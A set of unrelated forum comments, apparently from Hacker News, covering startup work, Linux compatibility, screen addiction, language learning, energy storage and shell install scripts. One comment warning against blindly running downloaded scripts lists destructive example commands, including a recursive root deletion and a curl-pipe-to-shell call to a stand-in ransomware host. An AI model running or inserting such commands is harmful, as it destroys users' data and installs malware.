I'm actually in the same spot but for a tech startup. But the founders are very nice and have a lot of good will. I'm working 12-14 hours every day because I want and I have fun doing the work.

But even though I'm getting a lot less salary than I could have, I decided to keep grinding because I see way more opportunities and chances than my "personal loss".

Imo, everyone working his ass off in a startup should make sure it's worth. And that, for me, means looking for opportunities regardless how shitty the founders may be.

Being an early employee gives you a shit ton of responsibilities, but instead of seeing them as a burden, take them to shine and negotiate your future.
This repo is just an obvious and trivial joke about ed, which notoriously uses "?" for all error messages:

let mut x = String::new();
loop {
io::stdin().read_line(&mut x)
.expect("?");
println!("?");
}

It would actually be fun to implement ed in Rust—it's the best of of the popular low-bandwidth "line editors", with some nice support for regex-based search and replace. It's one of the few editors that could be a used with a slow line-by-line printer as the only output device.
There are a lot of underlying components to this question as with anything that's ever existed or will exist.

An ex girlfriend of mine was a professional oboe player and conspicuously used an electronic tuner when tuning an orchestra (it was a bit smaller than a deck of playing cards). She did this to prevent complaints from other musicians. She claimed that the violinists liked the “brighter” sound of their instruments when tuned a bit sharp.
Probably because the target price point is at or below $1.
I'm surprised this comment is (currently) more than halfway down the page, when this was my first thought when I saw the repo takedowns.
> But in contrast, Linus has kept his "don't break userspace" promise damned near perfectly.

Yes, because Linus gets it. The people behind the userspace of desktop Linux really really don't though. If I want to write a Linux program that will work in 20 years without recompilation I can only depend on the kernel. Case in point:

> download Debian potato (circa 2000) and expand to a directory on machine running the latest Linux 64 (potato is 32 bit only), chrooted into it, apt install whatever, and showed him it all just works.

You basically had to swap out the entire userspace to do that because ABI compatibility outside of the kernel is practically nonexistant.
I'm old enough to remember when it was TV that was supposedly wasting the time and destroying the youth. Before that, it was comic books. And movies. And even in the 19th century people were complaining about novels. Yes, in theory it is better if people do something constructive rather than just enjoy entertainment. But people can't be 100% in productive mode 100% of the time.
I guess people shouldn’t study history anymore when they can just look up things on the web
that's why somebody created https://stop.lying.cloud/
Fair enough - I couldn't tell from looking that the server might end up open sourced - maybe I didn't look carefully enough?

I'd love set of protocols, client and server that combined self-host with cloud - ie: I could self host a shard/mirror for my data, while paying someone for a service too. That way supporting development and have an option in case the project shuts down.

I'll look into https://github.com/photoprism/photoprism for now, I think. Looks like it provides the minimum I need (self host, à way to upload dslr photos, an Android client for mobile pictures).
People tend to forget about scale. GitLab need to work for millions of developers and repositories, your self-hosted instance need to work for only a couple of dozens of developers in case of a smaller company, which doesn't even need a distributed system.
> That's a very common misconception of private copy; the existence of the private copy tax is not excusing copyright violation.

You are wrongly assuming that a copyright violation has taken place. If a country's laws say it's legal to make a copy under specific circumstances, it's not a copyright violation to make a copy under those circumstances.

Doom scrolling is a terrifying problem for me, personally. I have only recently realized just how bad it is.

I have recently gotten headfirst back into turntablism/vinyl DJ’ing, and leaving my iPhone in my room, just wearing my Apple Watch with me to tell the time and to do a quick voice reply to someone if it’s important enough. I’m trying to start reading books again. It’s scarily hard to keep that level of attention span again.

I’m an iOS developer for a living, and I think screen addiction should perhaps start to be considered a workplace hazard.

Worse off for me - previous to DJ’ing, my hobbies have been game/homebrew development and hardcore audio production / editing / engineering - all on my MacBook, of course, staring at a screen.

Looking at the actual ‘Screen Time’ reports became jarring. I actually still have a dopamine response that tells me to look at my phone when it’s in the other room. Thank God the watch can’t do HN or Reddit.

It’s like a signal in my head, wired there, like ‘hey; you’ve gotta use the bathroom’ but instead it’s ‘hey, pick up your phone and start scrolling.’

I’ve had issues with substance abuse in the past that I’ve moved past and worked through.

‘Doom scrolling’ has, by no exaggeration, been harder to kick for me than any substance or even cigarettes, which I smoked for almost ten years - it’s going to take years to unprogram what it took years for the developers of things like Facebook/IG/Reddit to program in the first place.

It’s messed up to think that people who have never faced addiction before may deal with this as their first go. It’s going to be a hard recovery for a world buried unproductively with devices in their faces all the time giving them a much quicker and more consistent dopamine response than cigarettes ever could.
Nah. People are more creative now than they have ever been. You just haven't followed them to the new platforms. On the Internet, go check out SoundCloud and YouTube and Instagram and TikTok and Open Source communities. Off the Internet, go check in with your local independent radio, theatre communities, and maker spaces. Creativity is exploding. People haven't stagnated; you have.
Competency and efficiency.
I have the opposite question: Why is our financial system so complicated it requires such an in depth education just for basic participation?
> Popular vote working exactly as you want, but you wouldn’t be singing the popular vote tune when what’s popular is not stuff you believe in.

This makes me want to stop using GitHub. I especially feel bad because I have a paid GitHub account, and I don't like the idea about my money sponsoring censorship activities like this one.
I wonder what a good alternative would be?.. Bitbucket perhaps?

This sounds mildly implausible given that Facebook is full of links to things that aren’t itself.
Why everything is your responsibility, and why it’s the best thing you’ll hear
I disagree. Lots of books have quite a few "hapax legomenon", or... words that only appear once. If you're trying to build long-tail vocab, Anki will make sure you get repeated exposure to words that occur infrequently in a particular text. One might argue that these words don't matter as much since they're less common, but once you've mastered all the common vocab in a language, building a broader vocabulary becomes more important.
It's not puzzling. It's a statement of faith, not something that has a solid theoretical basis.

Any form of FTL causes problems with causality - or at least with current assumptions about causality. So physicists tend to work back from that to "Therefore this is impossible."

But those assumptions may turn out to be wrong and relativity may be violated in specific quantum contexts. And then all kinds of interesting things happen.

Incidentally, this is an example of the kind of thing Hossenfelder was talking about. You could spend $20bn on a new collider, or you can spend a couple of million - at the absolute most - to check there's nothing unexpected happening here.

It's a wild bet, but given the up side it's hard to characterise it as poor value.

At worst you'll get some insight into the interface between QM and relativity, with another situation where Relativity Wins Again - but you understand why, in detail.

At best you'll get something more challenging and interesting.
The pandemic has changed job searching, but in some ways for the better. Your former co-workers are just as likely to hire you as before. Many companies are announcing they’re remote-friendly or remote-first, and some of them have no idea what to do next.

Imagine the pandemic has 1-2 more years to run. Don’t let that delay lull you into forfeiting two more years of your short (work and non-work) life.
You could teach it as part of maths.

I think there's too much algebra in secondary school (and not enough of it in college).

The FBI is probably the most corrupt institution in America.
If the facts are in your head, you can make a connection between them. If they are in different places on the web, unless someone else already linked them for you, they remain separate.
A certain irony (projection?) with you complaining by using that kind of argument but then not actually feeding back regarding the exact elements you think should be expounded on.
Because it is probably too much work to correctly package the thing for multiple operating systems.
Unknown unknowns.
Knowledge availability is another big one.

I used Anki to learn molecular biology. I work in bioinformatics and understanding molecular pathways means I can more fluently build hypotheses with colleagues. Without having memorized these pathways, unknowns unknowns and lack of knowledge availability would prevent a lot of discovery.
This among other reasons is why we a lot more states.
> IMHO these laws just codify social mores without need of specific rationalization (like incest laws).

What's curious is:

1) Going against social mores tends to cause psychological harm

2) Looking across history, plenty of cultures broke those mores without psychological harm

That's not just sexual mores. All sorts of things. Corporal punishment is harmful to kids in Western Culture, but not harmful to kids in many other cultures worldwide (yes, with good evidence).

The evidence for what constitutes healthy person-person relationships is mostly culturally-situated, whether that's parent-child, sibling, friends, work environment, or otherwise. The same behavior which might be considered a child abusing their parent in one country might be considered the parent abusing the child in another (and lead to actual psychological harm for the abused party).

It's helpful to look at mores across cultures and history to see which things are fundamental to humans, and which are culturally-situated. Of course, that doesn't make breaking culturally-situated norms okay -- it still causes psychological harm.

What is more problematic is that we can't talk about this in more than abstracts. I could pick dozens of concrete examples, and if I raised them in a public forum, my career would be dead.
There are lots of games that are simply designed as entertainment (edit: or political pieces, art, etc.), and I'm perfectly fine with those. But there are also games, typically mobile games, that blatantly do everything in their power to keep the player (often a naive child) coming back, and those are definitely manipulative. Manipulative enough to be illegal? I don't think so, but I'm not sure.
It's interesting that the tone of the article appears to be 'incredulity,' undermining the credibility of its own primary source.

I'll tell you a story: I was born not so long ago, but before internet existed and I had my first connection at the age of 19 in 1995.

When I was a kid I grew up between the city and the country

I knew about animals, how they behaved, what they ate and what was their role (cows for milk, chickens made eggs, pigs for ham)

Fast forward 30 years, my nephews know every burger place around and where to eat the best chicken snacks but have never seen a chicken or a cow alive, the younger one was shocked when he discovered that chicken nuggets and fried potatoes don't exist in nature and they don't grow at the supermarket

It might look an extreme example, but as a tech worker I see that younger generations have a way to using technology that is more immediate but is also more shallow

They take it for granted, like it always existed and usually don't think about the downsides much the same way I didn't think of the downside of using the car every time I needed to move

To make an hyperbole, there have been a generation that was born when fascism was established and for them fascism was normal

It's hard to see something from the outside when you are literally born in it and it's the only form you have experienced it
I think it is arguable that one could plausibly make a Documentary already!

The way current social media and search engines optimize for engagement and tailor information to each user, people have really different views on the universe right now as is; and this has already had real-world consequences. (eg. corona-response, motivations for or against Brexit, etc. )
I call survivor bias.

Books without action can render useless. TV can consume countless hours and does eat lives. Smartphones are the same, but more so.

We must recognize the danger all these thing. Information without physical action is a danger.
Looks like the server component is not open source? It doesn't look like it would be hard to write an open source backend.

I use Dropbox and a second copy backend up to my personal server (via Dropbox cli) for photos. Owning that data is too important for me to use a random service accessable only via a phone app.
This feature will be integrated into Slither[1], one of the open-source tools to find bugs in smart contracts the company uses. AFAIK, clients do not pay for specific features, they pay to get efficient security reviews where the company finds bugs in their code and this feature can help to find issues faster.

This isn't true for all countries. I did my high school in India and I had to do tax returns (ex. calculate taxes for a working couple w/ mortgage, investment income, PF (401k) etc.) and financial calculations (compound interest etc.) as part of math class. I think it was in 10th grade ?? Don't know.

This is the baseline. Certain streams in high school had full blown booking keeping courses, accounting practices and stuff in 11th and 12th grade.

You answered the question yourself.

The difference is between inspecting the executed command, and blindly executing something where you have no idea what it's going to do.

For example, maybe the URL contents is "rm --no-preserve-root -fr /". Or "rm -fr /home/*/Pictures 2>/dev/null". Or "curl https://ransomeware-encryptor.example.com | sh".

No problem if you inspect it first. Lots of unhappiness and heartbreak if you don't.
A nice story, although some parts make it obvious that the author heavily relied on Google Translate to make sense of the Chinese sorces:

> Once the Ministry of Public Security gave the order the teams swooped in and made the arrests of the five key suspect targets: Ma Mou, Ma Mosong, Wen Mou, Lu Mou, and a technician with the surname Liu (no first name)

Actually, the only person in that list whose given name is partially revealed is Ma Mosong, whose name apparently ends with -song. Mou (spelled Mo in parts of the article) is a wildcard used in Chinese to partially hide someone's name. So Ma Mosong is actually Ma Something-song (and Ma is his family name).
Not sure if you were being sarcastic? I believe it is probably fair to say they are among the most radically transparent.

Given the harsh criticism some of their previous proposed architecture, approaches to business continuity etc. have been received here in years past I don’t think there’s any kind of consensus on them being “the best” at providing HA SaaS?
What is the efficiency loss at each of these steps to get methane/hydrogen, and then the efficiency loss to convert these materials back to electricity?

I have no issue with using renewables per se; I'm just skeptical about basing the entire system on them:

To clarify - do you mean Indian equivalent of 401k or did they have you do American income taxes in an Indian school? (Were that many folks planning to go to US??)
> Hydrogen is just a means of STORING energy and it is one of the worst for this purpose.

People who say this aren't thinking clearly.

There are different storage use cases. For diurnal storage (daily charge/discharge cycles), hydrogen is indeed inferior to other technologies.

But this is not the only storage use case.

Other use cases are seasonal storage (particularly important at high latitudes) and backup storage (especially for rare events when it's both cloudy and windless over large areas for extended periods). For those use cases, hydrogen can be much better than things like batteries or compressed air (or flow batteries, or storage in synthetic hydrocarbons).
Because the world is complicated and every human activity is financed somehow. Those activities have a variety of risks, time horizons, regulations, participants, etc. A big enough world will generate a lot of ways to cater to those considerations.

What is it about Docker that makes it so much worse?

Both zoomers and boomers are guilty of opposite problems

No, zoomer, Facebook is not a good use of your time. Get a PC and create content, rather than consume it. You have access to a miracle of modern technology, and you squander it on garbage.

No, boomer, phones are not the devil, and you're being a drain by refusing to learn basic tech skills, and people are getting tired of holding your head above water when you immediately forget everything we try to teach you and plunge it back in.

The problem isn't what the new generation is using, it's what they're using it for.

The older generation's aversion to technology and deliberate lack of effort will only cause them pain in the future, and it causes pain to countless grandkids right now :^)
What are the small white dots filling the space between stars? Is this a camera artifact, gas/dust or something else?
And to add to that, there is this presumption that phones are purely for entertainment aka "time wasting". They are also very useful devices for business, work, education, etc. Let those individuals decide what's good/bad - who are we to lecture?

tl;dr: There are no solutions, just trade-offs
That’s a good insight — long tail vocabulary.
I am not really answering your question, but there is one piece of your argument/setup that should probably be expressed more clearly (maybe I am just misunderstanding it). The constants μ0 ε0 are not the fundamental constants setting the speed of light, rather they are historically the parameters we used at first when writing down the laws. It might be more reliable to think of c as being the fundamental constant, and μ0 ε0 as being the parameters dependent on c and our rather arbitrary choice of engineering measurement units (μ0 ε0 are necessary because of the arbitrary choice of what an Ampere/Coulomb/Volt/etc mean).
Good question, I personally find gVisor-like [0] snippets that suggests to copy & paste in order to install the program as the most pleasant way:

(
set -e

sha512sum -c runsc.sha512
rm -f runsc.sha512
sudo mv runsc /usr/local/bin
sudo chmod a+rx /usr/local/bin/runsc
)

Thanks to the used parentheses it feels like a "one-liner" script. Is there any better way to share installation script?

True. Comparing issue dependency handling in bugzilla and github is like comparing healthy person's lungs to smoker's lungs.
